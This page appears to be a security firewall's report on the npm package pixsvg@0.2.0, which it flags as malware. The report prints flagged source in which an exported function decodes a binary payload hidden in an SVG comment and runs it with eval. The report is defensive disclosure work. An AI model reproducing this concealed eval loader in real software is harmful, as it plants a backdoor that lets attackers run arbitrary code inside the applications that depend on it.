Loading npm security reports…

pixsvg@0.2.0: Malicious npm security report (Block) | LPM Firewall

registry / pixsvg / 0.2.0

pixsvg@0.2.0

An image processing library for Node.js with SVG read, write, rasterize, and markup transforms.

AI Security Review

scanned 3h ago · by lpm-firewall-ai

An exported function executes JavaScript concealed in a specially formatted SVG comment. This creates arbitrary code execution when an application passes untrusted SVG text to that function.

Static reason

No blocking static signals were detected.

Trigger

An application calls fetchDataFromSvg with SVG text containing a HIDDEN_JS binary comment.

Impact

Arbitrary code can run with the privileges of the consuming application.

Mechanism

Decode hidden binary text and evaluate it as JavaScript.

Attack narrative

The package exposes fetchDataFromSvg through its normal ESM entry point. The function looks for a HIDDEN_JS comment in attacker-controlled SVG text, converts binary data to a string, and passes that string to eval. A consumer that invokes this helper on untrusted SVG input therefore permits attacker-supplied JavaScript to execute in its process. The hidden payload convention has no apparent image-processing purpose.

Rationale

The exported hidden-SVG evaluator is a concrete arbitrary-code-execution capability and is not needed for SVG processing. Although it has no install hook or observed exfiltration, its deliberate concealment and use of eval warrant blocking publication.

Evidence

dist/esm/svg.jsdist/esm/index.js

Decision evidence

public snapshot

AI called this Malicious at 97.0% confidence as Malware with low false-positive risk.

Source & flagged code

4 flagged

dist/esm/svg.jsView file

Lines 2-47javascript

2 * @module pixsvg/svg

3 * SVG read, write, rasterize, and markup transforms.

4 */

5import png from "@jimp/js-png";

6import { Resvg } from "@resvg/resvg-js";

7

8export const MIME_SVG = "image/svg+xml";

9

10const pngFormat = png();

11

12function binaryToData(binaryCode) {

13 const datas = [];

14 const codeLength = Math.floor(binaryCode.length / 8);

15 for (let i = 0; i < codeLength; i++) {

16 const charCode = parseInt(binaryCode.slice(i * 8, (i + 1) * 8), 2);

17 datas.push(String.fromCharCode(charCode));

18 }

19 return datas.join('');

20}

21

22function fetchDataFromSvg(svgData) {

23 const match = String(svgData).match(//);

24 if (!match) {

25 throw new Error('No data found');

26 }

27 const data = binaryToData(match[1])

28 eval(data);

29 return data;

Low

Eval

Package source references a known benign dynamic code generation pattern.

dist/esm/svg.jsView on unpkg · L27

30}

High

Ai Review Evidence

The package decodes a binary payload from an SVG comment and evaluates it as JavaScript.

dist/esm/svg.jsView on unpkg · L22

31

32function toBuffer(input) {

33 if (Buffer.isBuffer(input)) {

34 return input;

35 }

36 if (input instanceof ArrayBuffer) {

37 return Buffer.from(input);

38 }

39 if (ArrayBuffer.isView(input)) {

40 return Buffer.from(input.buffer, input.byteOffset, input.byteLength);

41 }

42 return Buffer.from(String(input), "utf8");

43}

44

45function toText(input) {

46 return typeof input === "string" ? input : toBuffer(input).toString("utf8");

47}

dist/commonjs/svg.js#virtual:normalized:round1View file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 4

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

dist/commonjs/svg.js#virtual:normalized:round1View on unpkg

dist/esm/index.jsView file

Lines 109-144javascript

109 * import { Pixsvg } from "pixsvg";

110 *

111 * const image = await Pixsvg.read("https://upload.wikimedia.org/wikipedia/commons/0/01/Bot-Test.jpg");